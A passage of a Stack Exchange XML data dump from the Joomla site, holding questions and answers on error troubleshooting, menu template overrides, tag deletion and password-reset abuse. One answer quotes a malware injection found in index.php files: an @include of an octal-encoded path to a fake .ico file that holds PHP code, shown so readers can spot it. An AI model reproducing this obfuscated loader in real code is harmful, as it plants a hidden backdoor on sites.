file&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The PHP.ini file is a vitally important file that controls many of&#xA;  your server's settings. If you don't know where it is, use this&#xA;  tutorial to find it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We recommend that you change these two settings:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Set Display error to On:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;display_errors = On&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Set error reporting:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Option #4. Check Your Server Log&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Check your server error log for any indication of what is causing the&#xA;  issue.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Check your Joomla server log&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you are not sure how to access this, you can contact your hosting&#xA;  company.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you are on localhost, you can usually find it in a directory called&#xA;  &quot;logs&quot; within the installation folder of your local server. You've&#xA;  found the error message. Now what?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you have discovered what is causing the error message, it's time&#xA;  to analyze it. You will hopefully see errors that resemble those in&#xA;  the image below.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Even if you don't understand the message, you know which extension is&#xA;  causing problems&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In these examples, the errors come from sh404SEF and from Xmap. Even&#xA;  if you don't understand the message, you know which extension is&#xA;  causing problems.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the name of an extension can't be found, you might see an error&#xA;  message like the ones below. This may mean that there's a problem with&#xA;  the Joomla core files.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What can you do now that you've identified the troublesome extension?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What can you do now that you've identified the troublesome extension?&#xA;  Problems with an extension? Disable the extension&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This tutorial shows how to disable a plugin, but applies to other&#xA;  types of extensions also.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The quickest and easiest solution is to log in to your site via FTP.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the troublesome extension is a component, go to the /components/&#xA;  folder and change the name of the extension folder.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, change /com_sh404SEF/ to /com_sh404SEF_disabled/.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You may also need to change the directory name within the component in&#xA;  the /administrator/components/ directory as well. Problems with the&#xA;  Joomla core? Reupload the core files&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you didn't install any extensions and you think it may be caused by&#xA;  the core Joomla files, try reinstalling all of Joomla core files.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can do this by downloading the latest version found on joomla.org&#xA;  and overwriting all the directories to your servers FTP.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you have access to the administrator area, you can also try Step 5&#xA;  from this tutorial.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-05-20T18:45:07.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24702" PostTypeId="5" CreationDate="2019-05-20T22:52:33.757" Score="0" Body="&lt;p&gt;Virtual hosts can be &quot;IP-based&quot;, meaning that you have a different IP address for every web site, or &quot;name-based&quot;, meaning that you have multiple names running on each IP address. The fact that they are running on the same physical server is not apparent to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache was one of the first servers to support IP-based virtual hosts right out of the box. Versions 1.1 and later of Apache support both IP-based and name-based virtual hosts (vhosts). The latter variant of virtual hosts is sometimes also called host-based or non-IP virtual hosts.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T07:57:47.723" LastActivityDate="2019-05-21T07:57:47.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24703" PostTypeId="4" CreationDate="2019-05-20T22:52:33.757" Score="0" Body="The term Virtual Host refers to the practice of running more than one web site (such as www.company1.com and www.company2.com) on a single machine. " OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T07:57:45.113" LastActivityDate="2019-05-21T07:57:45.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24704" PostTypeId="5" CreationDate="2019-05-21T13:46:21.140" Score="0" Body="&lt;p&gt;A wrapper is an object-oriented programming (OOP) technique where an object encapsulates (wraps) another object, resource (dynamically allocated memory, OS file/widow handle, socket, thread mutex, etc) or a set of subroutines, hiding/protecting it and providing another (possibly easier to use) interface.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Getting_Started_with_Object_Oriented_Programming&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Getting_Started_with_Object_Oriented_Programming&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Wrapper_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Wrapper_function&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sitepoint.com/collection-classes-in-php/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sitepoint.com/collection-classes-in-php/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T14:13:55.453" LastActivityDate="2019-05-21T14:13:55.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24705" PostTypeId="4" CreationDate="2019-05-21T13:46:21.140" Score="0" Body="A wrapper function is a subroutine in a software library or a computer program whose main purpose is to call a second subroutine or a system call with little or no additional computation. Wrapper functions are used to make writing computer programs easier by abstracting away the details of a subroutine's underlying implementation." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T14:13:47.810" LastActivityDate="2019-05-21T14:13:47.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24706" PostTypeId="5" CreationDate="2019-05-21T13:54:51.937" Score="0" Body="&lt;p&gt;In computer networking, localhost (meaning this computer) is the standard hostname given to the address of the loopback network interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On many operating systems, localhost translates to an IPv4 address 127.0.0.1 and IPv6 address ::1. However this may be configured differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, &lt;em&gt;tested on Windows&lt;/em&gt; and IPv4 address starts with &lt;code&gt;127&lt;/code&gt; will be regarded as loopback-address and it should access the same result as &lt;code&gt;localhost&lt;/code&gt;. However, the same result, may depend upon the local server settings that you aim to connect with. For example, restricting access from specific IP such as &lt;code&gt;127.0.0.1&lt;/code&gt;. Knowing this note helps in local testing that need another host IP. For example, in web design, suppose that you want to view new favicon of your website hosted locally, simply, instead of accessing it &lt;code&gt;http://localhost&lt;/code&gt; or &lt;code&gt;http://127.0.0.1&lt;/code&gt; you can access it something like &lt;code&gt;http://127.10.205.98&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Localhost&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T14:13:50.397" LastActivityDate="2019-05-21T14:13:50.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24707" PostTypeId="4" CreationDate="2019-05-21T13:54:51.937" Score="0" Body="In computer networking, localhost (meaning this computer) is the standard hostname given to the address of the loopback network interface." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-21T14:13:52.917" LastActivityDate="2019-05-21T14:13:52.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24709" PostTypeId="1" CreationDate="2019-05-22T09:08:41.177" Score="0" ViewCount="344" Body="&lt;p&gt;I am totally new to this kinda stuff but i have got this index.php(&lt;a href=&quot;https://pastebin.com/SWFXBJVh&quot; rel=&quot;nofollow noreferrer&quot;&gt;index.php&lt;/a&gt;) and this template.Details.xml(&lt;a href=&quot;https://pastebin.com/0zcDmWzW&quot; rel=&quot;nofollow noreferrer&quot;&gt;templateDetails.xml&lt;/a&gt;). But the navigation bar looks completely different than this &lt;a href=&quot;https://i.stack.imgur.com/68lWM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/68lWM.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;. It now looks like this &lt;a href=&quot;https://i.stack.imgur.com/jPxiw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPxiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;. How do I tell Joomla! that I want to have the bootstrap styling and not the default links.&lt;/p&gt;&#xA;" OwnerUserId="13559" LastActivityDate="2024-01-26T20:03:15.430" Title="Custom joomla template navbar issue" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24710" PostTypeId="1" AcceptedAnswerId="24716" CreationDate="2019-05-22T11:38:37.610" Score="0" ViewCount="55" Body="&lt;p&gt;I followed the MVC Tutorial from Joomla as close as possible to create my own component. I included Joomlas Tags system within my component using the Observer technique in the JTable class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ComponentTableItem extends JTable&#xA;{&#xA;  function __construct(&amp;amp;$db)&#xA;  {&#xA;    parent::__construct('#__cmp_item', 'id', $db);&#xA;    JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_component.item'));&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inserting new items and adding Tags works fine. But when I delete the item, the tags associations are not deleted. I use the following code to delete multiple entries in Model/Items.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function delete(&amp;amp;$pks)&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $pks = (array)$pks;&#xA;&#xA;    // Iterate the items to delete each one.&#xA;    foreach ($pks as $i =&amp;gt; $pk) {&#xA;        $item = JTable::getInstance('item', 'ComponentTable');&#xA;        $item-&amp;gt;load($pk);&#xA;        //...do some stuff&#xA;        //and finally delete the item&#xA;        $item-&amp;gt;delete($pk);&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that the ObserverClass in the JTable class would take care of it, but that doesn't seem to be the case.&#xA;Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="13441" LastEditorUserId="13441" LastEditDate="2019-05-22T13:01:23.237" LastActivityDate="2019-05-25T12:32:07.293" Title="Remove tag association when deleting an item in own component" Tags="|joomla-3.x|component|development|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24711" PostTypeId="2" ParentId="24709" CreationDate="2019-05-22T12:49:52.053" Score="0" Body="&lt;p&gt;In the Joomla backend, go to the Menu module, click on the &quot;Advanced&quot; tab and you will see a field called &quot;Module Class Suffix&quot; (see &lt;a href=&quot;https://stackoverflow.com/questions/19863558/bootstrap-3-navbar-in-joomla-3&quot;&gt;this link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;navbar-nav&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there is a space before it. This is valid for Bootstrap 3. For Boostrap 4 please see the Bootstrap documntation. I will most probably need to do something similar for each menu entry, e.g.. adding &quot; nav&quot; to the entry item as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could override the mod_menu layout. The easiest is to copy the file from &quot;modules/mod_menu/tmpl/default.php&quot; to &quot;templates//html/mod_menu/default.php&quot;. Now you can alter the file in your template folder as you like and add the necessary classes. Here is one, that I did a couple of months ago to work with bootstrap 4. You will probably need to adjust it to your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Note. It is important to remove spaces between elements.&#xA;?&amp;gt;&#xA;&amp;lt;?php // The menu class is deprecated. Use nav instead. ?&amp;gt;&#xA;&amp;lt;ul class=&quot;menu&amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;    $tag = '';&#xA;&#xA;    if ($params-&amp;gt;get('tag_id') != null)&#xA;    {&#xA;        $tag = $params-&amp;gt;get('tag_id') . '';&#xA;        echo ' id=&quot;' . $tag . '&quot;';&#xA;    }&#xA;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;    $class = 'nav-item item-' . $item-&amp;gt;id;&#xA;&#xA;    if (($item-&amp;gt;id == $active_id) OR ($item-&amp;gt;type == 'alias' AND $item-&amp;gt;params-&amp;gt;get('aliasoptions') == $active_id))&#xA;    {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path))&#xA;    {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias')&#xA;    {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path) - 1])&#xA;        {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path))&#xA;        {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type == 'separator')&#xA;    {&#xA;        $class .= ' dropdown-divider';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent dropdown';&#xA;    }&#xA;&#xA;    if (!empty($class))&#xA;    {&#xA;        $class = ' class=&quot;' . trim($class) . '&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li' . $class . '&amp;gt;';&#xA;    $item-&amp;gt;anchor_css = 'nav-link' . $item-&amp;gt;anchor_css;&#xA;    if($item-&amp;gt;level &amp;gt; $params-&amp;gt;get('startLevel')) {&#xA;        $item-&amp;gt;anchor_css = 'dropdown-item';&#xA;    }&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $item-&amp;gt;anchor_css .= ' dropdown-toggle';&#xA;        $item-&amp;gt;data = 'data-toggle=&quot;dropdown&quot;';&#xA;    }&#xA;&#xA;    // Render the menu item.&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'url':&#xA;        case 'component':&#xA;        case 'heading':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_' . $item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled dropdown-menu&quot;&amp;gt;';&#xA;    }&#xA;    elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;        // The next item is shallower.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    else&#xA;    {&#xA;        // The next item is on the same level.&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13441" LastActivityDate="2019-05-22T12:49:52.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24712" PostTypeId="1" CreationDate="2019-05-22T16:59:04.387" Score="0" ViewCount="57" Body="&lt;p&gt;Multiple users are reporting their 'forgot password' / password reset function is being triggered, and that they're receiving emails with the verification code etc, even though they didn't request a password reset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forgot password / password reset form requires an email address input so I can't imagine how spam bots would be able to submit that form (without knowing users email address). So I am baffled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to prevent this from happening?&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2020-02-17T00:02:35.320" Title="Why is password reset being triggered without user submitting the form?" Tags="|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24714" PostTypeId="2" ParentId="24712" CreationDate="2019-05-22T20:41:36.063" Score="1" Body="&lt;p&gt;You can prevent this attack by implementing some low-grade authentication before firing the reset script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might use a recaptcha or automated math question, to stop automated (bot) attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To more strenuously confront both bot and human attacks in a personalized fashion, have your users verify their account by answering a &quot;secret question&quot; (which was part of the registration process) before triggering the reset process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some additional reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/q/24280/208614&quot;&gt;Reset password - should I prevent abusing it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=957796&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=957796&lt;/a&gt; (&lt;a href=&quot;https://joomla.stackexchange.com/users/120/neil-robertson&quot;&gt;NeilRobertson&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/easycalccheck-plus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/easycalccheck-plus/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/simplecaptcha/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/simplecaptcha/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/funcaptcha/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/funcaptcha/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.kunena.org/forum/154-Miscellaneous-off-topic-and-general-Joomla/127752-how-to-add-security-question-when-registering&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kunena.org/forum/154-Miscellaneous-off-topic-and-general-Joomla/127752-how-to-add-security-question-when-registering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-22T22:01:43.937" LastActivityDate="2019-05-22T22:01:43.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24715" PostTypeId="2" ParentId="23685" CreationDate="2019-05-23T11:06:19.700" Score="-1" Body="&lt;p&gt;I have been having similar issues and found a more sinister cause.&#xA;Check your index.php files and see it there is something similar to&#xA;/&lt;em&gt;d6f96&lt;/em&gt;/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@include &quot;\057h\157m\145/\164w\157f\157r\164h\145r\157a\144/\160u\142l\151c\137h\164m\154/\154i\142r\141r\151e\163/\166e\156d\157r\057c\157m\160o\163e\162/\0561\143c\0704\0717\064.\151c\157&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/&lt;em&gt;d6f96&lt;/em&gt;/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so check your folders and you will find many index.php files with similar entry that should not be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is encoded php that points to fake ICO files which are actually source and not image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case please respond and I can help a bit more&#xA;Cheers&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="13560" LastActivityDate="2019-05-23T11:06:19.700" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24716" PostTypeId="2" ParentId="24710" CreationDate="2019-05-23T12:05:45.397" Score="1" Body="&lt;p&gt;I figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using the JTable class, I import the model gameModel as described &lt;a href=&quot;https://www.simbunch.com/blog/133-reuse-load-a-model-anywhere-in-joomla-2-5-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;The by deleting the item via the model, the tag-associations are removed as well.&#xA;This is the code change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function delete(&amp;amp;$pks)&#xA;    {&#xA;    jimport('joomla.application.component.model');&#xA;    JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_mycomponent/models');&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $pks = (array)$pks;&#xA;&#xA;    // Iterate the items to delete each one.&#xA;    foreach ($pks as $i =&amp;gt; $pk) {&#xA;        $item = JModelLegacy::getInstance( 'Item', 'ComponentModel' );&#xA;        $item-&amp;gt;getItem($pk);&#xA;        //...do some stuff&#xA;        //and finally delete the item&#xA;        $item-&amp;gt;delete($pk);&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13441" LastEditorUserId="13441" LastEditDate="2019-05-25T12:32:07.293" LastActivityDate="2019-05-25T12:32:07.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24717" PostTypeId="1" AcceptedAnswerId="24718" CreationDate="2019-05-24T02:52:24.150" Score="1" ViewCount="59" Body="&lt;p&gt;I'm trying to figure out whether it's possible to utilize the built-in joomla messaging system to notify admins when a new user registers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the function which sends messages, so I can incorporate that into a custom registration component, but I can't seem to find it, or documentation about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could point me in the right direction, that would be awesome :)&lt;/p&gt;&#xA;" OwnerUserId="12314" LastActivityDate="2019-05-24T23:26:41.063" Title="Sending a message to admins when a user registers" Tags="|administrator|joomla-3.6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24718" PostTypeId="2" ParentId="24717" CreationDate="2019-05-24T05:45:22.933" Score="1" Body="&lt;p&gt;This sends a private message (including email notification) to all super users.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Include classes.&#xA;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');&#xA;JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');&#xA;&#xA;// Get the model.&#xA;$model = JModelLegacy::getInstance('Message', 'MessagesModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;// Send a message to super users.&#xA;$model-&amp;gt;notifySuperUsers($subject, $message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the email delivered contains generic &quot;new message&quot; text. If you want a custom message like notifying about new user registration, you'll probably have to find a different method.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-24T05:45:22.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24719" PostTypeId="2" ParentId="15624" CreationDate="2019-05-24T13:06:42.017" Score="0" Body="&lt;p&gt;First, about your first coding attempt:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are declaring the vital &lt;code&gt;$db_name&lt;/code&gt;, but you never use it, and that is likely to be the earliest issue to solve.  That value is best written as the 4th patameter of &lt;a href=&quot;https://www.php.net/manual/en/function.mysqli-connect.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysqli_connect()&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$db_prefix&lt;/code&gt; is a deceptive variable name.  It would be more accurate to call it &lt;code&gt;$table_prefix&lt;/code&gt; because it is the leading (often randomly generated) portion of the table name string.  It is a member of your &lt;code&gt;$db_&lt;/code&gt; group of variables, but it cannot, by itself, be used to access a mysql table which may exist in one or more databases on your server.&lt;/li&gt;&#xA;&lt;li&gt;As a result of not declaring a database, &lt;code&gt;if (!mysqli_connect_errno())&lt;/code&gt; would be &lt;code&gt;true&lt;/code&gt; (because you can actually connect without nominating a database) but &lt;code&gt;if ($result = mysqli_query($db_connect, $query, MYSQLI_USE_RESULT)) {&lt;/code&gt; would evaluate &lt;code&gt;false&lt;/code&gt;, so there would not be a result object.  Because &lt;code&gt;mysqli_free_result( $db_connect );&lt;/code&gt; is outside of your condition block, it is called no matter what, and due to not targetting a database, you are feeding it what it can't eat.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That explanation a side, Lodder is right, you should use Joomla's query building methods to make everything simple and reliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second coding attempt:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are using the &lt;code&gt;getDbo()&lt;/code&gt; method to effortlessly make a database connection.&lt;/li&gt;&#xA;&lt;li&gt;You are writing a raw sql query instead of calling the &lt;code&gt;select()&lt;/code&gt;, &lt;code&gt;from()&lt;/code&gt;, and &lt;code&gt;where()&lt;/code&gt; methods.  This isn't necessarily &quot;bad&quot; because there are no variables ergo no vulnerability.  Though as a matter of consistently toeing the Joomla line, it is advisable to use the wrapper methods for all queries.&lt;/li&gt;&#xA;&lt;li&gt;Your new SELECT query is only targetting the column &lt;code&gt;product_sku&lt;/code&gt;, so the appropriate result set generating method is &lt;a href=&quot;https://joomla.stackexchange.com/a/24288/12352&quot;&gt;loadColumn()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;When writing your values to your csv file, you don't need to reindex the arrays with &lt;code&gt;array_values()&lt;/code&gt;, and you should &lt;code&gt;fclose()&lt;/code&gt; before you &lt;code&gt;die&lt;/code&gt;. See &lt;a href=&quot;https://joomla.stackexchange.com/a/24314/12352&quot;&gt;an example here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-05-24T13:06:42.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24720" PostTypeId="2" ParentId="24717" CreationDate="2019-05-24T23:26:41.063" Score="1" Body="&lt;p&gt;If you use the ACYMail extension on your site you could use its notification configuration to send a an email to whoever you like, including a list of addresses. You would need to set it up for a new user to auto subscribe to a list, a dummy list if you like, just to trigger the notification on registration/subscription.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional part of the solution that may or may not work with your custom registration is to use the ACYMail plugin that allows you to override the default Joomla emails with your own custom emails. This might address the comment at the end of Sharky's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of above requires any coding but if you don't otherwise use Acymail it is a bloated solution.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-24T23:26:41.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24721" PostTypeId="1" CreationDate="2019-05-25T15:27:03.490" Score="0" ViewCount="48" Body="&lt;p&gt;The link to this url on localhost is &lt;code&gt;administrator/index.php?option=com_menus&amp;amp;view=item&amp;amp;client_id=0&amp;amp;layout=edit&amp;amp;id=101&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bBYsI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBYsI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13563" LastActivityDate="2019-05-26T10:21:59.897" Title="Where might the code for this screenshot lie in joomla 4" Tags="|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="1" ClosedDate="2019-06-13T12:16:41.800" ContentLicense="CC BY-SA 4.0" />
  <row Id="24722" PostTypeId="1" AcceptedAnswerId="24728" CreationDate="2019-05-25T19:20:22.187" Score="2" ViewCount="369" Body="&lt;p&gt;Is there a way to translate a single string with a language that is different from the default language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Google search did not lead me to a solution.) Example code that does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This shows in the default joomla language &quot;en-GB&quot;&#xA;echo JText::_('COM_COMPONENT_TEXT');&#xA;&#xA;// Now I load the second language into an language object&#xA;$lang = JLanguage::getInstance('af-ZA');&#xA;&#xA;// Now I translate the below string with &quot;af-ZA&quot;&#xA;echo $lang-&amp;gt;_('COM_COMPONENT_TRANSLATEDTEXT');&#xA;&#xA;// Now the third text is again in default language &quot;en-GB&quot;&#xA;echo JText::_('COM_COMPONENT_TEXT2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created the .ini files needed for the af-ZA translation. The below files were created 